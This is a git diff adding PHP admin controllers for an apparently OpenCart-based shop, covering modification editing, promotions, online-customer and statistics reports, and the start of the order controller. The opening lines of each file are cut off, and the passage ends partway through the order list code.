+ $data['add'] = $this->url->link('marketplace/modification/edit', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+
+ $data['modifications'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $modification_total = $this->model_setting_modification->getTotalModifications();
+
+ $results = $this->model_setting_modification->getModifications($filter_data);
+
+ foreach ($results as $result) {
+ $data['modifications'][] = array(
+ 'modification_id' => $result['modification_id'],
+ 'name' => $result['name'],
+ 'author' => $result['author'],
+ 'filename' => $result['code'].".ocmod.xml",
+ 'version' => $result['version'],
+ 'status' => $result['status'] ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'link' => $result['link'],
+ 'edit' => $this->url->link('marketplace/modification/edit', 'user_token=' . $this->session->data['user_token'] . '&modification_id=' . $result['modification_id'], true),
+ 'download' => $this->url->link('marketplace/modification/download', 'user_token=' . $this->session->data['user_token'] . '&modification_id=' . $result['modification_id'], true),
+ 'enable' => $this->url->link('marketplace/modification/enable', 'user_token=' . $this->session->data['user_token'] . '&modification_id=' . $result['modification_id'], true),
+ 'disable' => $this->url->link('marketplace/modification/disable', 'user_token=' . $this->session->data['user_token'] . '&modification_id=' . $result['modification_id'], true),
+ 'enabled' => $result['status']
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+ $data['sort_author'] = $this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . '&sort=author' . $url, true);
+ $data['sort_version'] = $this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . '&sort=version' . $url, true);
+ $data['sort_status'] = $this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . '&sort=status' . $url, true);
+ $data['sort_date_added'] = $this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . '&sort=date_added' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $modification_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($modification_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($modification_total - $this->config->get('config_limit_admin'))) ? $modification_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $modification_total, ceil($modification_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ // Log
+ $file = DIR_LOGS . 'ocmod.log';
+
+ if (file_exists($file)) {
+ $data['log'] = htmlentities(file_get_contents($file, FILE_USE_INCLUDE_PATH, null));
+ } else {
+ $data['log'] = '';
+ }
+
+ $data['clear_log'] = $this->url->link('marketplace/modification/clearlog', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('marketplace/modification', $data));
+ }
+
+ protected function getForm() {
+
+ $this->load->language('marketplace/modification');
+
+ /* $this->document->addStyle('view/javascript/codemirror/lib/codemirror.css');
+ $this->document->addStyle('view/javascript/codemirror/theme/xq-dark.css');
+ $this->document->addScript('view/javascript/codemirror/lib/codemirror.js');
+ $this->document->addScript('view/javascript/codemirror/lib/xml.js');
+ $this->document->addScript('view/javascript/codemirror/lib/formatting.js'); */
+ $this->document->addStyle('view/javascript/codemirror-dle/css/default.css');
+ $this->document->addScript('view/javascript/codemirror-dle/js/code.js');
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['heading_title'] = $this->language->get('heading_title');
+ $data['text_form'] = $this->language->get('text_form');
+ $data['text_no_results'] = $this->language->get('text_no_results');
+ $data['entry_name'] = $this->language->get('entry_name');
+
+
+
+
+
+ $data['entry_xml'] = $this->language->get('entry_xml');
+
+ $data['column_id'] = $this->language->get('column_id');
+ $data['column_code'] = $this->language->get('column_code');
+ $data['column_date_added'] = $this->language->get('column_date_added');
+ $data['column_restore'] = $this->language->get('column_restore');
+
+ $data['button_update'] = $this->language->get('button_update');
+ $data['button_save'] = $this->language->get('button_save');
+ $data['button_cancel'] = $this->language->get('button_cancel');
+ $data['button_restore'] = $this->language->get('button_restore');
+ $data['button_history'] = $this->language->get('button_history');
+
+ $data['tab_general'] = $this->language->get('tab_general');
+ $data['tab_backup'] = $this->language->get('tab_backup');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $url = '';
+
+ if (!isset($this->request->get['modification_id'])) {
+ $data['action'] = $this->url->link('marketplace/modification/edit', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('marketplace/modification/edit', 'user_token=' . $this->session->data['user_token'] . '&modification_id=' . $this->request->get['modification_id'] . $url, true);
+ }
+ if(isset($this->request->get['modification_id'])){
+
+
+ $data['restore'] = $this->url->link('marketplace/modification/restore', 'user_token=' . $this->session->data['user_token'] . '&modification_id=' . $this->request->get['modification_id'] . $url, true);
+ $data['history'] = $this->url->link('marketplace/modification/clearhistory', 'user_token=' . $this->session->data['user_token'] . '&modification_id=' . $this->request->get['modification_id'] . $url, true);
+ $this->load->model('setting/modification');
+
+ $backups = $this->model_setting_modification->getModificationBackups($this->request->get['modification_id']);
+
+
+ $data['backups'] = array();
+
+ if ($backups) {
+ foreach ($backups as $backup) {
+ $data['backups'][] = array(
+ 'backup_id' => $backup['backup_id'],
+ 'code' => $backup['code'],
+ 'date_added' => $backup['date_added'],
+ 'restore' => $this->url->link('marketplace/modification/restore', 'user_token=' . $this->session->data['user_token'] . '&modification_id=' . $this->request->get['modification_id'] . '&backup_id=' . $backup['backup_id'] . $url, true)
+ );
+ }
+ }
+
+ $modification = $this->model_setting_modification->getModification($this->request->get['modification_id']);
+
+ } else {
+ //$modification = false;
+ }
+
+
+
+
+ $data['cancel'] = $this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = htmlentities(ltrim($this->request->post['name']));
+ } elseif (isset($modification)) {
+ $data['name'] = htmlentities(ltrim($modification['name']));
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['xml'])) {
+ $data['xml'] = htmlentities(ltrim($this->request->post['xml'], ""));
+ } elseif (isset($modification)) {
+ $data['xml'] = htmlentities(ltrim($modification['xml'], ""));
+ } else {
+ $data['xml'] = '';
+ }
+
+ if (isset($this->request->post['xml'])) {
+ $data['newxml'] = new SimpleXMLElement(ltrim($this->request->post['xml'], ""));
+ } elseif (isset($modification)) {
+ $data['newxml'] = new SimpleXMLElement(ltrim($modification['xml'], ""));
+
+ } else {
+ $data['newxml'] = array();
+ }
+
+
+ //var_dump($data['newxml']);
+
+ //$data['newxml'] = json_decode(json_encode($data['newxml'], true), true);
+
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('marketplace/modification_form', $data));
+ }
+ public function addoperation(){
+ $this->load->language('marketplace/modification');
+ $json = array();
+
+ $data = array();
+
+ $data['file_row'] = (int)$this->request->post['file_row'];
+ $data['operation_row'] = (int)$this->request->post['operation_row'];
+
+ $data['operation'] = true;
+
+
+ $json['prepend'] = $this->load->view('marketplace/modification_operation', $data);
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function addfile(){
+ $this->load->language('marketplace/modification');
+ $json = array();
+
+ $data = array();
+
+ $data['file_row'] = (int)$this->request->post['file_row'];
+
+ $json['prepend'] = $this->load->view('marketplace/modification_file', $data);
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'marketplace/modification')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 2)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'marketplace/modification')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/marketplace/promotion.php b/public/admin/controller/marketplace/promotion.php
new file mode 100644
index 0000000..8c21159
--- /dev/null
+++ b/public/admin/controller/marketplace/promotion.php
@@ -0,0 +1,40 @@
+request->get['route'], strrpos($this->request->get['route'], '/') + 1));
+ curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
+ curl_setopt($curl, CURLOPT_HEADER, false);
+ curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
+ curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30);
+ curl_setopt($curl, CURLOPT_TIMEOUT, 30);
+
+ $response = curl_exec($curl);
+
+ curl_close($curl);
+
+ $this->load->helper('HTMLPurifier/Bootstrap');
+
+ HTMLPurifier_Bootstrap::registerAutoload();
+
+ $config = HTMLPurifier_Config::createDefault();
+
+ $response = $this->strip($response, $config);
+
+ if ($response) {
+ return $response;
+ } else {
+ return '';
+ }
+ }
+
+ private function strip($string, $config) {
+ $purifier = new HTMLPurifier($config);
+ if (is_array($string)) {
+ foreach ($string as $k => $v) {
+ $string[$k] = $this->strip($v, $config); } return $string;
+ }
+ return $purifier->purify($string);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/report/online.php b/public/admin/controller/report/online.php
new file mode 100644
index 0000000..247da3c
--- /dev/null
+++ b/public/admin/controller/report/online.php
@@ -0,0 +1,121 @@
+load->language('report/online');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ if (isset($this->request->get['filter_ip'])) {
+ $filter_ip = $this->request->get['filter_ip'];
+ } else {
+ $filter_ip = '';
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $filter_customer = $this->request->get['filter_customer'];
+ } else {
+ $filter_customer = '';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $url .= '&filter_ip=' . $this->request->get['filter_ip'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('report/online', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['refresh'] = $this->url->link('report/online', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $this->load->model('report/online');
+ $this->load->model('customer/customer');
+
+ $data['customers'] = array();
+
+ $filter_data = array(
+ 'filter_ip' => $filter_ip,
+ 'filter_customer' => $filter_customer,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $customer_total = $this->model_report_online->getTotalOnline($filter_data);
+
+ $results = $this->model_report_online->getOnline($filter_data);
+
+ foreach ($results as $result) {
+ $customer_info = $this->model_customer_customer->getCustomer($result['customer_id']);
+
+ if ($customer_info) {
+ $customer = $customer_info['firstname'] . ' ' . $customer_info['lastname'];
+ } else {
+ $customer = $this->language->get('text_guest');
+ }
+
+ $data['customers'][] = array(
+ 'customer_id' => $result['customer_id'],
+ 'ip' => $result['ip'],
+ 'customer' => $customer,
+ 'url' => $result['url'],
+ 'referer' => $result['referer'],
+ 'date_added' => date($this->language->get('datetime_format'), strtotime($result['date_added'])),
+ 'edit' => $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $result['customer_id'], true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $url = '';
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode($this->request->get['filter_customer']);
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $url .= '&filter_ip=' . $this->request->get['filter_ip'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $customer_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/online', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($customer_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($customer_total - $this->config->get('config_limit_admin'))) ? $customer_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $customer_total, ceil($customer_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_customer'] = $filter_customer;
+ $data['filter_ip'] = $filter_ip;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('report/online', $data));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/report/report.php b/public/admin/controller/report/report.php
new file mode 100644
index 0000000..c05a2cc
--- /dev/null
+++ b/public/admin/controller/report/report.php
@@ -0,0 +1,72 @@
+load->language('report/report');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->get['code'])) {
+ $data['code'] = $this->request->get['code'];
+ } else {
+ $data['code'] = '';
+ }
+
+ // Reports
+ $data['reports'] = array();
+
+ $this->load->model('setting/extension');
+
+ // Get a list of installed modules
+ $extensions = $this->model_setting_extension->getInstalled('report');
+
+ // Add all the modules which have multiple settings for each module
+ foreach ($extensions as $code) {
+ if ($this->config->get('report_' . $code . '_status') && $this->user->hasPermission('access', 'extension/report/' . $code)) {
+ $this->load->language('extension/report/' . $code, 'extension');
+
+ $data['reports'][] = array(
+ 'text' => $this->language->get('extension')->get('heading_title'),
+ 'code' => $code,
+ 'sort_order' => $this->config->get('report_' . $code . '_sort_order'),
+ 'href' => $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=' . $code, true)
+ );
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($data['reports'] as $key => $value) {
+ $sort_order[$key] = $value['sort_order'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $data['reports']);
+
+ if (isset($this->request->get['code'])) {
+ $data['report'] = $this->load->controller('extension/report/' . $this->request->get['code'] . '/report');
+ } elseif (isset($data['reports'][0])) {
+ $data['report'] = $this->load->controller('extension/report/' . $data['reports'][0]['code'] . '/report');
+ } else {
+ $data['report'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('report/report', $data));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/report/statistics.php b/public/admin/controller/report/statistics.php
new file mode 100644
index 0000000..d9b623e
--- /dev/null
+++ b/public/admin/controller/report/statistics.php
@@ -0,0 +1,262 @@
+load->language('report/statistics');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('report/statistics');
+
+ $this->getList();
+ }
+
+ public function ordersale() {
+ $this->load->language('report/statistics');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('report/statistics');
+
+ if ($this->validate()) {
+ $this->load->model('sale/order');
+
+ $this->model_report_statistics->editValue('order_sale', $this->model_sale_order->getTotalSales(array('filter_order_status' => implode(',', array_merge($this->config->get('config_complete_status'), $this->config->get('config_processing_status'))))));
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('report/statistics', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $this->getList();
+ }
+
+ public function orderprocessing() {
+ $this->load->language('report/statistics');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('report/statistics');
+
+ if ($this->validate()) {
+ $this->load->model('sale/order');
+
+ $this->model_report_statistics->editValue('order_processing', $this->model_sale_order->getTotalOrders(array('filter_order_status' => implode(',', $this->config->get('config_processing_status')))));
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('report/statistics', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $this->getList();
+ }
+
+ public function ordercomplete() {
+ $this->load->language('report/statistics');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('report/statistics');
+
+ if ($this->validate()) {
+ $this->load->model('sale/order');
+
+ $this->model_report_statistics->editValue('order_complete', $this->model_sale_order->getTotalOrders(array('filter_order_status' => implode(',', $this->config->get('config_complete_status')))));
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('report/statistics', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $this->getList();
+ }
+
+ public function orderother() {
+ $this->load->language('report/statistics');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('report/statistics');
+
+ if ($this->validate()) {
+ $this->load->model('localisation/order_status');
+
+ $order_status_data = array();
+
+ $results = $this->model_localisation_order_status->getOrderStatuses();
+
+ foreach ($results as $result) {
+ if (!in_array($result['order_status_id'], array_merge($this->config->get('config_complete_status'), $this->config->get('config_processing_status')))) {
+ $order_status_data[] = $result['order_status_id'];
+ }
+ }
+
+ $this->load->model('sale/order');
+
+ $this->model_report_statistics->editValue('order_other', $this->model_sale_order->getTotalOrders(array('filter_order_status' => implode(',', $order_status_data))));
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('report/statistics', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $this->getList();
+ }
+
+ public function returns() {
+ $this->load->language('report/statistics');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('report/statistics');
+
+ if ($this->validate()) {
+ $this->load->model('sale/return');
+
+ $this->model_report_statistics->editValue('return', $this->model_sale_return->getTotalReturns(array('filter_return_status_id' => $this->config->get('config_return_status_id'))));
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('report/statistics', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $this->getList();
+ }
+
+ public function customer() {
+ $this->load->language('report/statistics');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('report/statistics');
+
+ if ($this->validate()) {
+ $this->load->model('customer/customer');
+
+ $this->model_report_statistics->editValue('customer', $this->model_customer_customer->getTotalCustomers(array('filter_approved' => 0)));
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('report/statistics', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $this->getList();
+ }
+
+ public function affiliate() {
+ $this->load->language('report/statistics');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('report/statistics');
+
+ if ($this->validate()) {
+ $this->load->model('customer/customer');
+
+ $this->model_report_statistics->editValue('affiliate', $this->model_customer_customer->getTotalAffiliates(array('filter_approved' => 0)));
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('report/statistics', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $this->getList();
+ }
+
+ public function product() {
+ $this->load->language('report/statistics');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('report/statistics');
+
+ if ($this->validate()) {
+ $this->load->model('catalog/product');
+
+ $this->model_report_statistics->editValue('product', $this->model_catalog_product->getTotalProducts(array('filter_quantity' => 0)));
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('report/statistics', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $this->getList();
+ }
+
+ public function review() {
+ $this->load->language('report/statistics');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('report/statistics');
+
+ if ($this->validate()) {
+ $this->load->model('catalog/review');
+
+ $this->model_report_statistics->editValue('review', $this->model_catalog_review->getTotalReviews(array('filter_status' => 0)));
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('report/statistics', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $this->getList();
+ }
+
+ public function getList() {
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('report/statistics', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['statistics'] = array();
+
+ $this->load->model('report/statistics');
+
+ $results = $this->model_report_statistics->getStatistics();
+
+ foreach ($results as $result) {
+ $data['statistics'][] = array(
+ 'name' => $this->language->get('text_' . $result['code']),
+ 'value' => $result['value'],
+ 'href' => $this->url->link('report/statistics/' . str_replace('_', '', $result['code']), 'user_token=' . $this->session->data['user_token'], true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('report/statistics', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'report/statistics')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/sale/order.php b/public/admin/controller/sale/order.php
new file mode 100644
index 0000000..fceb65a
--- /dev/null
+++ b/public/admin/controller/sale/order.php
@@ -0,0 +1,1843 @@
+load->language('sale/order');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/order');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('sale/order');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/order');
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('sale/order');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/order');
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('sale/order');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_order_status'])) {
+ $url .= '&filter_order_status=' . $this->request->get['filter_order_status'];
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $url .= '&filter_order_status_id=' . $this->request->get['filter_order_status_id'];
+ }
+
+ if (isset($this->request->get['filter_total'])) {
+ $url .= '&filter_total=' . $this->request->get['filter_total'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['filter_order_id'])) {
+ $filter_order_id = $this->request->get['filter_order_id'];
+ } else {
+ $filter_order_id = '';
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $filter_customer = $this->request->get['filter_customer'];
+ } else {
+ $filter_customer = '';
+ }
+
+ if (isset($this->request->get['filter_order_status'])) {
+ $filter_order_status = $this->request->get['filter_order_status'];
+ } else {
+ $filter_order_status = '';
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $filter_order_status_id = $this->request->get['filter_order_status_id'];
+ } else {
+ $filter_order_status_id = '';
+ }
+
+ if (isset($this->request->get['filter_total'])) {
+ $filter_total = $this->request->get['filter_total'];
+ } else {
+ $filter_total = '';
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $filter_date_added = $this->request->get['filter_date_added'];
+ } else {
+ $filter_date_added = '';
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $filter_date_modified = $this->request->get['filter_date_modified'];
+ } else {
+ $filter_date_modified = '';
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'o.order_id';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'DESC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_order_status'])) {
+ $url .= '&filter_order_status=' . $this->request->get['filter_order_status'];
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $url .= '&filter_order_status_id=' . $this->request->get['filter_order_status_id'];
+ }
+
+ if (isset($this->request->get['filter_total'])) {
+ $url .= '&filter_total=' . $this->request->get['filter_total'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
